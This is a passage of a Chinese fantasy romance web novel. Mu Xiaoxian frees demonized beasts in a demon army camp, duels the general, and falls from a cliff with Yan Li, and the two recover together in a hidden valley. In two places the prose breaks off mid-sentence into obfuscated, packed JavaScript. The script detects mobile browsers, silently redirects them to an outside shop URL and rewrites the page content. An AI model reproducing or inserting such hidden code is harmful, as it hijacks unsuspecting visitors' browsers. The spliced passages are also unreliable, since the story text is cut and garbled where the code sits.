箱子被人缓缓掀开,慕小闲后背紧紧贴着箱壁睁大了眼睛...... 一抹清香钻进了箱中,慕小闲惊惧的瞳孔中倒映出那张熟悉又清冷的脸,晏离正拧眉看着缩成一团的她,将她从箱子里捞了出来。 “你怎么在这里?”慕小闲从晏离怀中跳出来,不让自己身上的气味沾上他,落在晏离眼中却好似故意与他拉开距离。 他的眸色黯了黯:“我见你被抬进此处,不放心,跟过来看看。” 慕小闲神情颇有些不自然,说不上是因为他的关注还是自己的丢脸,还好周遭太昏暗,看不清楚。 “没想到魔族的渗透比我们想象中还要严重。”晏离沉声说,“你看那里。” 慕小闲向四周望去,她竟然被抬进一处山洞。 前方微弱的光线下,一排玄铁栅栏将山洞隔成了两方天地。栅栏的那一边,更加幽暗不可测。黑暗的深渊中发出低沉的喘息,慕小闲几乎一瞬间就猜到那些东西是什么。 魔化的动物。 就像花神山中囚禁的动物一样。 它们被魔化后,失去了本性和自由。 慕小闲向栅栏走了几步,栅栏另一头,有猛兽仰起头,发出凶恶的嚇嚇声。慕小闲知道是自己身上的气味,刺激了他们。 山洞外传来喝声:“吵什么吵!再吵不给你们吃东西!” 猛兽似乎听懂了,声音低沉了许多,呲着牙盯着慕小闲,仿佛只要她敢靠近,就一口咬断她的脖颈。 幽暗中,慕小闲眼眸中窜出冉冉火星,她攥紧拳头、咬牙切齿道:“魔族欺人太甚。” 随着一声惊天动地的嘶吼,几头猛兽冲出洞口,将原本整齐划一的队伍打散。魔兵措手不及,被追赶得四处奔走。 “怎么回事?”练兵场上的大将怒道。 “大将!那些东西跑出来了!”士兵慌乱地跑开。 一声声怒吼在山谷间回荡,猛兽将压抑和痛苦尽数还给了折磨他们的人,将他们撕碎、摔伤、踩在脚下。他们在青丘培养的罪恶,最终反噬在自己身上。 一时间,魔兵阵营大乱,哭叫声响彻云霄。 大将迅速带领队伍,对逃窜的魔兽进行围剿,经过几个时辰,才终于将几只猛兽赶回山洞中。其中一只咬死数人,反抗剧烈,被大将当场击杀。 阵营内一片狼藉,数个帐篷被踩踏得一塌糊涂,血迹在土地弥漫、渗透,最终化成了养料。 此役,魔兵伤亡惨重,士气大减。 大将营中,一人跪在大将面前。 “你们连几只动物都看管不好,要你们何用?”大将闭眼仰坐在桌后,眉宇间凝结着阴鹜之气,声音让人不寒而栗。 跪下的正是洞口外巡逻的士兵,不过只剩下他一人。 “大将饶命,我也不知道怎么回事。今天没有发生奇怪的事情,哦对了,莫东莫西曾抬了一箱鱼虾进去,其他真没有了。大将饶命啊!”士兵浑身颤抖着说。 大将陡然睁开眼,身体前倾,带着压迫感紧紧盯住他,勾起唇角却一丝笑意也无,反而冷得彻骨:“你的兄弟们很记挂你,随他们去吧。” 士兵被人架起,拖走,带着惊恐的哭喊声:“大将!大将——” “莫东莫西。”大将似漫不经心地抬起眼皮瞥向兄弟二人。 莫东莫西两人跪在桌前垂首:“大将。” 大将的语气又冷上几分:“他说你们抬了一箱鱼虾进去?” 莫东说:“是的,大将说那箱鱼虾是给那些东西吃的。” 大将点点头:“没错。我是这么说过。” 莫西见大将点头,赶紧补充道:“大将,我们是按您吩咐,将鱼虾送进了山洞。” “那个箱子呢?”大将的手指在桌面上扣了扣。 “箱子......箱子被那些东西踩碎了。”莫西战战兢兢地说,听大将的语气难道那个箱子有问题?箱子若是有问题,他们二人恐怕无法交代了。 大将从桌后站起身,负手走到二人面前:“你们说,将鱼虾送进了山洞......"他顿了一下,陡然掀起桌布,露出桌下堆积的臭鱼烂虾,腐朽的气息随之弥漫在整座营帐内。 大将目眦欲裂地吼道:“那这些是什么!” 兄弟二人面色惨白。 猛兽肆虐过后,有人受伤有人消失。魔兵数量骤减,山间的夜更加空寂寒凉。 大将双手撑在桌边,额上青筋暴跳,愤愤地说:“查!”他知道一定是有人将猛兽放了出来,但是是谁?为什么这么做? “大将!有人白天看到有一个瘦小的士兵说来大将营中为大将取东西。”有人上报。 大将的脑海中突然浮现出一张平凡得不能再平凡、普通得不能再普通的脸,竟然是那名今日操练时偷懒的小兵。 “我们当中出现了叛徒。不管他是谁,都要付出代价。”大将阴冷地扫过营帐内的众人,知道他营中有一箱食物的人,一定是对军中动向十分熟悉的人。殊不知,慕小闲是阴差阳错,不小心躲进箱子里的。 营帐内的士兵不敢抬头看他,生怕被他怀疑。 “报!”有人闪进营中,单膝跪下,抱拳对大将说:“大将,接到来自越仙谷的消息,说有人在越仙谷看见了神似通缉令上的女子。” 大将拧眉,一把掀开桌上堆积的书,无视书七零八落地散落在地,翻找出那张被他随手压在书底的通缉令。 通缉令上,那张其貌不扬的脸,与他记忆中的模样,不能说一模一样只能说毫不相关。 大将眼中划过一丝精光,指尖在通缉令上轻柔地摩挲,仿佛捧着什么稀世珍宝,嘴角却露出一丝残忍的杀意:“呵......慕小闲?” 天色惨淡,篝火迸射啪啪的火星,照亮了残破营地旁的一方天地。 伤员被抬回营帐安置,为数不多的魔医为他们医治伤口,门口有人把守,慕小闲没能混进去,只听见营帐内幽幽传来细碎的谈话声:“这些魔兽啃食的伤口不易愈合,真是搬起石头砸了自己的脚......” “嘘。这次是意外,若是魔兽连这点本事都没有,我们炼化他们做什么?” 营地损伤惨重,破天荒放出了一批口粮以抚慰将士。 慕小闲跟在魔兵的队伍后,领了一只馒头和一只鸡腿,坐在篝火边与魔兵一同开饭。她周围几个魔兵在刚才都受了伤,见她完好无损,不觉多看了她几眼。 慕小闲护住手上的鸡腿向后缩,眯着眼瞪了回去,好像他们觊觎着她的鸡腿一样。魔兵撇撇嘴,谁还没有了不是?伤员还有两个呢!挪开位子,不再看她。 刚烤出来的鸡腿,带着淡淡的焦香,撒上一把咸辣的作料,虽然比不上馆子里的肉质鲜嫩有嚼劲,但也辣而不燥,能满足口腹之欲。 慕小闲很快吃完凑到人堆里,想偷听他们说话,谁知道这帮魔兵训练有素,她刚一靠近,他们就不再说话,而是警惕地拿余光偷瞄她。 她只能抬头望天,砸吧砸吧嘴:“有些吃咸了。”又摇头,说出那句不管在何时都不会出错的句子:“这种日子什么时候才能到头啊。” 立马有人回应道:“在这里待了那么多年,都快忘了家里是什么样子。” 慕小闲惆怅道:“是啊,月是故乡明,露从今夜白。我都忘了来这里多长时间了。” 有人一听:“诶,你别说,你念的这几句还真特么有韵味。” “是啊,这鸟不拉屎的地方哪有我们那儿十里长街热闹。” 慕小闲见没有人上套,又接着问:“是啊,家里也不用吃这些糟糠。” 又有几人点头称是:“这烤鸡腿哪里比得上醉月楼的珍宝鸡。” “哟,你还吃过醉月楼?”有人嘲讽道。 “我闻过味儿不行吗!” 魔域那蛮荒之地还有醉月楼这种高雅的地方?慕小闲来了兴致,拉了拉身边人的袖子:“还有啥好吃的,都给我说说。” 魔兵一看就知道这是个没开过荤的毛孩子:“还有那鸾喜阁的姑娘,人比花娇,最是甜美可口。” 慕小闲扯了扯嘴角,鸾喜阁一听就知道不是什么好地方。 魔兵小声说:“你们听说了吗?今天那些东西是被人放出来的。” 慕小闲眼色一变,竖起两只耳朵。 “谁?” “不知道,不过听说是从外面跑进来的。大将在营中查呢!”慕小闲心中咯噔一下,大将怎么知道她是从外面跑进来的?难道他已经知道她是谁了? “外面跑进来的?这深山老林怎么进来?” “你以为是你呀,天界厉害的人多着呢......” 夜深了,魔兵陆陆续续地回营休息,篝火在风中起舞,烧得营帐上人影幢幢。 营外人烟一少,慕小闲就变得尤为突出。 她不可能和魔兵进营里休息,只能先躲在树丛边见机行事。 “做什么呢你?”身后突然传来醉醺醺的一声。 慕小闲吓得心里一颤,没有回头,喊道:“尿尿!” 声音逐渐走远:“尿完赶紧回来睡觉!别一天到晚乱跑!” 慕小闲刚舒了一口气,却又听到身后传来脚步声,她不满道:“不是说了在尿尿吗?” 背后一阵风乍起,带来森森寒意,阴冷的声音打破了夜的寂静。 “转过身,让我看看你是不是在尿。” 慕小闲浑身血液仿佛在一瞬间开始倒流,她身体一僵,耳边的风声仿佛凝成了一线叮咛。她僵硬地转过头,扯着嘴角:“大将,您还有这嗜好?” 大将穿着战甲,右手拇指压在身侧佩戴的剑鞘上,抬起锋利的鹰眼:“谁给你胆子向我发问?让你过来就赶紧滚过来。” 慕小闲不明白他有没有发现自己,若是发现了委实没有必要装模作样。她讪笑了一下,低眉弓腰:“大将说的是,我这就滚过来。”她向前走了两步,忽然觉得不对,余光看到大将身后一排草丛似乎有暗影浮动。 她眼中精光一闪,提身一跃,跃上身后的枝头,将下方的景物看得清清楚楚。草丛后,卧着一个又一个匍匐在地的魔兵,手中弓箭拉满,长矛紧握,正等她自投罗网。 大将伫立在树下,眼中晦暗不明,缓缓勾起唇角,用一种阴冷、压抑的声音问:“慕小闲?” 完蛋!被发现不说,连名字都让人知道了! 慕小闲扶在树上的手指,紧紧扣进了树皮,神色不变:“大将别来无恙?” 高手对招,不论发生什么都不能被对方的情绪影响。这个小丫头在众兵包围下,还能神态自若,大将心中有几分欣赏,但她终究不会成为同盟。 “别来无恙?你潜入军中,放出魔兽,打伤我将士,何来无恙?”大将带着怒气冷声质问。 “你潜入青丘,占领青丘之地,魔化青丘生灵。我以彼之道,还施彼身,此为我无恙。”慕小闲镇定答道。 大将笑了,但笑意未达眼底,面容很快覆上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434842|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一层寒霜:“小丫头倒是伶牙俐齿,就是不知道你的招子能不能配得上这张嘴。你为谁办事?天庭?” 慕小闲:“为我自己。” 大将眯了眯眼,眼中是危险的神色:“小丫头,这可不是过家家,闹不好要出人命的。” 慕小闲冷笑道:“是大将没搞清楚状况,你们已经出了人命。”说完,目光从大将身后伺机而动的将士身上扫过,颇带着些挑衅的意味。 大将咬牙怒吼一声:“放箭!生死不论!杀她者,连升三级!”他一声令下,箭雨铺天盖地向慕小闲袭来,犹如天罗地网。箭矢夹杂着魔气,像划过黑夜的流星,但承载的却不是希望,而是死亡的威胁。 慕小闲丝毫不退让,用仙力筑成一道屏障挡在身前。箭矢一个一个落在树下,堆成了一座小山。 大将忽然冲破箭雨,拔剑一跃而上,一剑劈开了她身前的屏障。慕小闲在空中连连后退,袖中甩出一根仙力凝成的寒鞭,啪的一声缠上了大将手中的利剑。 鞭子释放的寒气让剑身镀上一层银霜,两人僵持之下,寒气一点一点逼上了大将的手臂。 大将拧眉,松手放开剑,剑身顿时碎裂在夜空中,化作点点紫色粉末随风飘散。 那把剑居然是靠魔气凝成的。 一道迅猛的魔气横扫而来,慕小闲一鞭甩开,将冲来的魔气打偏,落在营地上,轰然炸起烟尘无数。 两人在空中飞快交手,营地内不时传来几声巨响,帐篷倒塌,篝火沿着草地烧了起来,本就残破不堪的营地雪上加霜。 大将武艺高超,对付区区一个小丫头,不在话下。他三两下拨开慕小闲的攻击,眨眼间已至她身前不足一尺,一把钳住了她的手腕,神色凝重,一股强劲的气息沿着她的小臂爬了上来。 “你身上的仙力是怎么回事?”大将经验丰富,很快看出了慕小闲身上不同寻常之处。 简而言之,她借助了别人的仙力。别人的仙力就算封在她的体内,终究不是自己的,想要调动,必定会慢上一拍。 她为何能够借助别人的仙力? 她的仙力是谁的? 她到底是谁? 慕小闲趁大将分神,抽回手,一掌拍在他胸前,将他的肉身推了出去。 “上!”大将在空中稳住身型,一声令下,埋伏在四周的魔兵群起而攻之。 魔兵虽然在刚才与魔兽的対役中伤亡惨重,但依然有上千人。乌泱泱的人群拿着武器,从四面八方向慕小闲冲来,狰狞的面目在她面前放大,一个接一个,仿佛永无休止。 就在慕小闲快要招架不住时,突然白光乍现,暗夜中一缕清影凭空出现在她身前,搂上她的腰身,飞速隐入密林中。 眨眼间,消失在层层叠叠的枝叶间。 黑夜中,再难找到那一抹白。 大将盯着那抹白色消失的方向,眼底翻起了惊涛骇浪,他竟然没发现营地中还藏有一个人。简直是奇耻大辱! “追!” 顺着密林一路上山,林中阴冷潮湿,寒露压枝,水雾弥漫。 一道白色的身影揽着慕小闲,掠过枝头,穿越层层山林。簌簌冷箭在两人身后落下,魔兵在林中狂追。 没想到这片密林之后居然是一座断崖,万丈深渊望不到底,将两人拦下。 身后魔兵已冲出林子,大将立于兵前,抬手示意他们停下。 大将狭眸看向慕小闲身侧的男子,揣摩道:“这位是?” 慕小闲不想晏离暴露,抢着说道:“你不需要知道他是谁,你只需要记着重伤魔兵的人叫慕小闲即可。” 大将眼中涌起怒意:“你可知这座崖叫什么?” 大将既然这样问,那么这断崖必定不是什么好崖。他肯定希望慕小闲回答不知道,然后卖弄他那一点全无必要的知识。慕小闲选择故意无视他,等着他自问自答。 见慕小闲完全没有一点求知欲,大将扯了下嘴角,眼中闪着险恶精光:“魔兵之所以会在这里驻扎,一则深谷之中难以察觉,二则若有人侵入,逃走必定会选择上山。上山就会遇到这座无归崖。” “乌龟崖?”慕小闲小声念。 “是无归崖!”大将怒道。 “这座断崖终年弥漫水汽,水汽能够压制仙力,一旦落下山崖,便无法再用仙力上来。所以这座崖叫无归崖!你们此刻应该使不上仙力了吧?” 慕小闲看了晏离一眼,迟疑地暗中使力,发现体内的仙力确实有些提不上来。 大将笑道:“我知道你在想什么。我们也用不了魔气。不过,我们有箭。” 慕小闲扯了下嘴角,不屑道:“说的不错,确实够贱。” 气温瞬间降至冰点,晏离拦在了慕小闲面前。 大将的目光在两人身上流连:“没想到,你们还有些情谊。也好,这样死也能有个伴儿,别说我心狠手辣。” 他缓缓抬手,一声令下:“放箭!” 晏离掩着慕小闲在箭雨中躲闪,漫天箭雨,密密麻麻地向他们射来,擦着身体扎进脚边的土壤。不一会儿,他们周围竖满了断箭。 “一群废物!”大将夺过身边的一只弓,对准了慕小闲:“我倒要看看你们能挣扎到几时。” 离弦之箭势如破竹,如刚才的箭雨全然不同。 慕小闲向旁边闪避,却因脚边插满了断箭,无处可避,向崖下跌去。就在分秒之间,手腕陡然被攥住,一股力量将她的身体拽了回来。 一个错身,两人交换位置。 几滴刺目的血珠从眼前飘过,她仿佛听到咕噜一声,而后眼睛被大量的鲜红充斥。 晏离松开手,向下坠落。 慕小闲伸手去抓,指尖却从袖摆布料滑落。 她的眼睛不自觉放大,眼中尽是难以置信的惊惧。 下一秒,慕小闲跟着跳了下去。 172. 第 172 章 大将一脚踏在崖边,向下俯视,崖下被一层蒙蒙白雾笼罩,隔断了视野。水雾弥漫上来,沾湿了大将的靴子,压制了他体内魔气,让他觉得非常不舒服。 无归崖,顾名思义,没有人能从崖底上来。 “大将,他们死了吗?”身后一魔兵低声问。 大将余光瞥了他一眼:“送你下去看看?” 魔兵立刻噤声退后。 大将转身,穿过层层魔兵,下令道:“派兵驻守在这里,如有异动,立刻禀告。” 魔兵整齐地答道:“是!” 再说慕小闲跳下山崖后,穿过乳白色的云雾,突然被一股力量捞去崖壁上一块凸出的石台,晏离借力一滚,与她一同滚进一个隐蔽的洞穴中。 他冰凉的手捂在她的唇上,短促颤抖的呼吸落在她耳畔,她忍不住偏头去看他,身体被扼住不能动弹。 等了半晌,见没有人下来,晏离才幽幽放开她,虚弱地倚靠在石壁上。他垂下眼睫,苍白的面容像一朵被人蹂躏的白花,几分狼狈之下,仍有丝丝破碎的美感。 他一身纯净的白衣染上了血色,肩上还插着一只断箭。 慕小闲呼吸微微发颤,上前小心翼翼地撕开晏离的衣襟,不忍看那血肉模糊的伤口。她不明白为何晏离不躲,就算他受囚仙印束缚多年,那支箭应当也奈何不了他。但是这一切偏偏就在她眼前发生了,让她无力怀疑前因后果,唯有再次为晏离提心吊胆。 晏离不知何时睁开了眼睛:“莫怕,我没事。” 慕小闲紧张地将他看了看,喉头一滚,涌上一丝艰涩:“你为什么不躲开?"语气中不自觉添了几分嗔怪,与往常相比音色多了些说不清道不明的滋味。 晏离撑起身体,哑声道:“我曾听闻无归崖的传说,无归崖的水雾来自崖底的湖水,只要我们能离开这里,失去仙力只是暂时的。我们若想从魔军手下逃脱,只有先骗过他们的眼睛。” “可你明明能躲开的对不对?你的身体才刚恢复,又折腾自己做什么?”慕小闲喃喃,她见不得晏离受伤,看到晏离受伤的瞬间,她觉得自己快要疯掉。 晏离眼中划过一丝痛意,同样刺痛了慕小闲的心,她顿感懊悔,不该如此质问他。她垂下眼睫,颤声道:“是我大意了,我不该如此招摇。如果我没有被魔兵发现,你就不会受伤了。” “是我甘愿受伤的。”晏离说。 慕小闲不解地抬头看他。 良久,他叹了口气,注视着慕小闲的眼睛说:“你这些天不再与我亲近,我怕了,我怕与你离心。” 他的声音低沉又温柔,神情真挚,让慕小闲呼吸一滞,心如擂鼓,酥酥麻麻的滋味在心口蔓延。 晏离望着她,眼睛一眨不眨,仿佛要将她深深刻进脑海中。 山洞内空旷,回荡着一句轻言慢语:“闲儿,我并非看上去如此云淡风轻。” 仿佛心里某根绷紧的弦突然断裂,慕小闲呼吸一滞,收回手,不知该作何反应。 山洞内回荡着晏离的轻语:“我很害怕......在与你分开的日日夜夜都在担惊受怕。怕找不到你,怕你过得不好,怕你不愿再见我。找到你之后,我还是很害怕,怕你受伤,怕你不愿留下,怕你发现我动机不纯......” 慕小闲心中发颤,她不敢对上晏离的目光,却感受到那炙热的目光停留在她身上,她觉得自己快要失去理智。她不知道晏离此刻说的是真话还是糊话,但她的心已然塌下去了一块。 “动手吧。”晏离望着她的眼神是全然的信任与坦然,仿佛慕小闲此时要了他的命,他也不会反抗。 慕小闲双手握住断箭,长吁一口气,闭上眼睛咬牙用力猛地将箭头拔出。 晏离一声闷哼,随之,慕小闲的衣袖突然被拉向前,唇印上一片柔软,仿佛被雷击中,脑中轰然空白。 细密的触感落在她的唇瓣,伴随着熟悉的、淡淡的清香,轻如鸿毛拂过,带着小心翼翼的克制。 慕小闲怕压到他的伤口,没有挣扎,在喘息的一瞬间,被晏离单手托着她的后颈又吻了上去。 这一次,由浅而深,更加汹涌,仿佛将上千年的思念、痛苦、求而不得、难以言表的情愫都融入了唇舌纠缠之中。 不知过了多久,两人气喘吁吁地分开,眼中蒙上了一层迷离 热浪上涌,心脏仿佛快要冲出胸口。慕小闲甩了甩头,怒道:“你怎么可以随便亲我?” 晏离目光灼灼地看着她,低声道:“不是随便。” “你烧糊涂了。”慕小闲挪开目光,低头扯下裙摆的布料,将他的伤口包扎了一下,然后背对晏离躺下休息。 不多时,晏离摸索着石壁,一点一点靠过来。 慕小闲感受到背后那抹带着温度的视线,心口砰砰直跳,越发不知所措,干脆闭眼躺平。 山洞内光线昏暗,她累了一天,没多久便睡意阑珊。迷迷糊糊间,感觉一只手轻轻碰了碰她的手指。 耳边是一句轻叹:“闲儿,你还在怪我吗?” 两人隔着一层薄纱,浅尝辄止,没有更进一步,但好像又有什么不一样了,譬如说晏离看她的眼神。 慕小闲每日都在洞口徘徊,想找出方法从山洞下去。她捡了石子丢下山崖,听石子滚落的声音,判断崖底到底有多深。不知为何,丢下的石子很快就没有声音。她一时搞不清崖下的深度,又耽搁几日。 山洞潮湿的岩壁上攀附着粗壮的藤蔓,经年累月生长成了一条天然的藤梯。慕小闲经过几日实验,确信足够结实,将晏离背在身后,将藤蔓缠绕在手臂上,踩在湿滑的石壁上,一点一点向下挪移。 脚下一滑,慕小闲吓得睁大了眼,赶紧踩在石壁凸处,稳住身型,惊出了一身汗。脚边的碎石子滚落,坠入朦胧迷雾之中。 她的动作极慢,脚步承载着两人的重量,艰难地支撑着。她在上天之后锻炼了很久,身体素质很强,但依旧是凡人躯体。行径半日,手掌最柔软的地方勒出血痕,但她一刻不敢松懈。 雾气遮蔽了崖下的景物,慕小闲恍惚间仿佛看到乳白色的水雾中散发一道金光,有一个人影在光芒中冲她招手。 “闲儿。”清冷的声音闯入,让她清醒了几分,眼前哪有什么金光闪闪的人影。 慕小闲深吸几口气,咬着牙说:“我不会放手的。绝对不会。” 颠簸之中,晏离的伤口又开裂,血浸湿了他的衣裳,染在慕小闲的衣领上。 慕小闲感受到身后像个滚烫的火球。晏离又发烧了。 “晏离,不要睡。”慕小闲低声道。 晏离微弱的气息拂过慕小闲的后颈:“我没睡......” 半晌,身后没有了声响,慕小闲红着眼睛,小声说:“晏离,我从来没有怪过你。” 慕小闲咬着牙硬撑一夜,第二日水雾渐渐淡了,光线穿过水雾,将崖底的风光印在了雾气上。 水雾来自崖底大片的湖泊,慕小闲用尽最后一丝力气带着晏离落入湖中,又带着他游了数米拖拽上岸。 晏离肩上的伤口开裂,又在湖中一淌,此时烧得意识不清。 慕小闲也累得精疲力竭,一上岸便昏死过去。 。 不知过了多久,慕小闲被哗哗水声扰醒,她衣衫尽湿,贴在身上如同紧紧包裹着的绳索。 她奋力支起身,四处张望了片刻,才悠悠回神,忆起前因后果,心上一惊,视线在周遭飞快地搜索着晏离的身影。 晏离就躺在不远处,面色惨白,本就瘦弱的身体犹如一片飘落的树叶,轻的让人不忍惊扰。 慕小闲淡淡舒了一口气,身上一松懈,又倒回了原处。一阵眩晕袭上头顶,眼前又渐渐模糊起来。她咬紧牙关甩了甩头,深知此时不是晕厥的时候,恍惚之间好似看到湖旁密林边有一栋低矮的建筑。 她心中冷笑一声,竟然出现了幻觉。 乳白色的水雾如同一层缚缕笼罩在峡谷上空,一切的景物都变得朦胧失真,似真似幻,难以分辨。 慕小闲躺在地上无力地张望着,满目充斥着淡淡的白色,过了好一会儿才重新找回力气,望向那处在雾气中的幢幢暗影。 究竟是不是幻觉?或许谷底有人居住? 不论如何,她和晏离现下需要一个容身之所。 走近了看,那栋隐藏在雾气之中的小木屋像是经年未有人居住一般,外沿透着黑色,除却湿气还渗出一股腐朽的气息。屋内有一只简陋的木床,撇开上层几乎融化的草甸,尚有一块干燥之地。 此情此景,慕小闲也顾不得那么多。 晏离身上的伤口还未愈合,血水混着湖水粘在纯白的衣裳上。慕小闲将他的衣领轻轻掀开,将他上身的衣物褪去。伤口如同一道刺眼的沟壑,慕小闲别开头,用沾了水的衣物轻轻擦拭,将伤口边缘的污秽清理干净。 她想要就近生火。但湖泊旁雾气弥漫,草木湿气太重,走远了些,才逐渐从内温润的雾气中走出,觅得一块平坦之地生了火。 火势带来了温暖和干燥,她借势烤干了身上的衣物,取了一株火把向小木屋走去。 未走几步竟然发现林中生长着一种排毒止血的草药,好像叫清洺草,一般生长在温润地带。原先只在书中偶然一瞥,没想到在此时派上了用场。 现在她使不上仙力,无法带着重伤的晏离离开这里,如若这些草药能让晏离恢复得更快一点,他们或许就能尽快找到出去的办法。 回到小木屋时晏离依旧昏迷不醒,慕小闲将火把移到房间的角落处,又加了些草木,火势才渐渐烧旺了。 她抱着腿坐在火堆旁,望着晏离发呆,说不上是什么滋味。既为自己在魔兵营太过嚣张惹祸上身感到后悔,又为在山崖上晏离对自己说的话感到惶恐。 或许她是有意与晏离拉开距离,因为她仍旧不能接受自己曾是白瑶的事实。但当听到晏离的话时她心里动摇了,一旦与晏离有关她就摇摆不定。 待她回过神时,晏离不知何时已经醒了,如同她望着他一般,默默地注视着她。 不过眼神并无先前那般炙热,而是如同往日的清冷,倒让慕小闲有些迷茫。 “这里是哪里?我睡了多久?” 慕小闲走上前摸了下他的额头,见烧已经退了,暗暗舒了一口气:“我们从无归崖上爬下来了,这里是谷底。你睡了约莫两天。”与晏离的视线一撞,突然心头一跳,不自然地挪开目光,肢体也有些不知所措起来。 晏离淡淡望着她:“......在此之前,我有没有......说什么胡话?” 慕小闲一愣:“胡话?”她思及先前在山洞里晏离说的那些让人心神不宁的话,不由问道:“你说的那些是胡话?” 晏离微微一顿:“我不记得了。” 慕小闲深吸一口气,心里涌上了一股烦闷,但又不知该作何反应。她若是将晏离说的一五一十复述给他听,他不承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466315|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认怎么办?若是晏离不承认,倒像是她对那些话难以割舍。 可是晏离当时的神情怎么看也不像是意识不清,他说的怎么可能是胡话?如同激起千层浪的湖泊霎时重归平静,慕小闲不想承认她心中无法遏制的失落,抬了抬眉,故作淡然道:“不记得就算了,也什么大不了的。” 慕小闲运气为晏离疗伤,事后拿来清洗过的草药喂他,晏离瞥了一眼,轻声道:“清洺草可解毒、活血、镇静,你倒是记住了。” 她还没来得及得意,又听晏离道:“你可还记得,这种草性甘味苦,难以下咽,故鲜少作为草药使用。” 慕小闲怎么也没想起来后面一句话,转念一想了然道:“你怕苦?” 晏离默了默,似乎喉头微微一滚:“不怕。” 慕小闲没忍住笑出声:“后面那句话是你加的?” 见晏离语塞,她心情大好:“清洺草能对症已是万幸,哪还有挑三拣四的余地?不过就是味苦,服用后漱漱口,忍忍也过去了。” 晏离微微蹙起眉:“我无需服药,伤口不久便会自愈。” 慕小闲没有答话,而是眯着眼睛,拿“我信了你的邪”眼神揣摩他,看得晏离神色越发不自然。 “我真的......不用......” 慕小闲不信,出门拿树叶接了一捧水,回来满眼期待地望着晏离。晏离撇过头,她却不依不饶地又凑近了一些。她没有注意到自己和晏离的距离过近,那双灵动的杏仁眼饶有兴致地盯着对方,嘴角不怀好意地微微勾着,呼出的气息像一只猫爪在晏离身上轻轻地挠。 晏离不理会,她大有更进一步的打算。晏离拗不过她,只得取了一小株清洺草纳入口中。 他苍白的脸似乎在某一瞬间变得更加惨白,但很快恢复如常,像是什么都未发生过一般。 慕小闲却有些不是滋味,呼吸之间,脸上的笑意已然褪去。她竟然有点见不得晏离吃苦,想到这里,她赌气似的将余下的草药胡乱塞到晏离手中。 晏离察觉到她突如其来的情绪,不慌不忙地将手中的草药一点一点吃完,忍着口中充斥的苦涩,抬头望向慕小闲时,眼睫微颤,眼角泛着一丝难忍的红色。 慕小闲几时看过晏离如此委屈的模样,心想自己真不是个东西,明知他受了重伤还如此折磨他,心中一软,艰涩地问:“你怎么都吃了?” 晏离忽然勾住她的手,将她向前一拽,两人又紧紧贴在一起,唇舌在草药苦涩的津水中翻搅,那滋味仿佛顺着喉头沉入心间。 慕小闲推开他,伏在床边哇地吐了出来,苦得她牙齿打颤,眼泪都渗了出来。她才明白不是晏离怕苦,而是清洺草实在太苦了。她眼角挂着泪,低头含水漱口,晏离忽然道:“我说的都是真心的。” 慕小闲一愣,口中的水咽了下去,苦水在胃里翻涌,她却无暇顾及:“什么真心的?” 晏离不语。 慕小闲回过味来:“你想起来了?你说的那些......那些胡话?” 晏离望向她,目光如湖水般平静柔和:“不是胡话。是真心的。” 慕小闲望着他的眼睛,口中的苦渐渐消退,余下一丝涩意仍旧萦绕在舌尖。晏离侧过身,挪开了半边床的位置又看向她,让慕小闲有些不知所措起来。 晏离虚弱地说:“你也累了,过来休息吧。” 慕小闲垂下头望向脚尖...... 这样不太好吧...... “在山崖上时我们也曾躺在一起,我现在身受重伤,不会对你做什么。”晏离淡淡瞥了她一眼,眼中纯净无暇,无半点遮掩。 慕小闲暗道,不会对我做什么?那刚才是谁啃了我一口?现在有伤不会做什么,难道无伤就能做什么了?不过想归想,她对晏离的品行还是很放心的。 现下只有一张床,她挤一挤也不是不可以。 慕小闲带着一丝忐忑躺在晏离身侧,他悄然背过身去,留下一句轻声:“睡吧。” 慕小闲太累了,他的话仿佛一句魔咒,让她顿时松懈下来。松懈下来才发现自己浑身酸痛,像是与人打了一架,很快她就在融融火光中陷入了沉睡。 两人在山谷中安心休养,这山谷无人进出,倒成了真正的世外桃源。 晏离恢复得很快,肩上的伤口约莫一周左右已完全愈合,伤疤也逐渐淡去。慕小闲觉得稀奇,忍不住调侃道:“不愧是神仙体质。" 晏离依旧卧床休息,慕小闲每日出门探一探附近的环境,只待晏离完全恢复便带他走出山谷。 她是如此这般地计划着,实际上根本无法实施。 譬如,她刚走出屋外十几米远,便听到一声虚弱的呼唤:“闲儿。” 慕小闲不作他想便抽身返回小木屋中,见晏离安安稳稳地依靠在床边,不见有何异样,问道:“怎么?” 晏离见到她似乎微微松了一口气,面色平淡道:“无事。” 只要一会儿功夫看不见她,晏离便会唤上一声。如此三番,慕小闲回过味了。 晏离是怕极了她会丢下他,一步也不想她离开。 这样来回拉扯,慕小闲说不上是什么滋味,只觉得晏离将一只钩子挂在了她心上,随着他的一举一动、一言一语牵动着。或许晏离是知道她难以狠心,所以才想着法子折磨她。 崖底的日子渐渐变了滋味,两人心照不宣,那层薄如蝉翼的纱虽未戳破,但好像已无法阻挡他们相互靠近。 173. 第 173 章 熹微的晨光从山谷间升起,映在山谷间的水雾上,化作了一片暧昧的霓虹。 转眼在崖底的清净日子已过月余,待他们离开时已恍若隔世。飘逸的祥云从崖底悠悠漂浮而上,掠过重山,再次回到越仙谷。 越仙谷被魔族渗透之事已经人尽皆知,长乐宫派人来整顿过一遭,不过是做了些表面功夫,眼下越仙谷又回到了平和的状态,只是不知道这种平和能够持续多久。 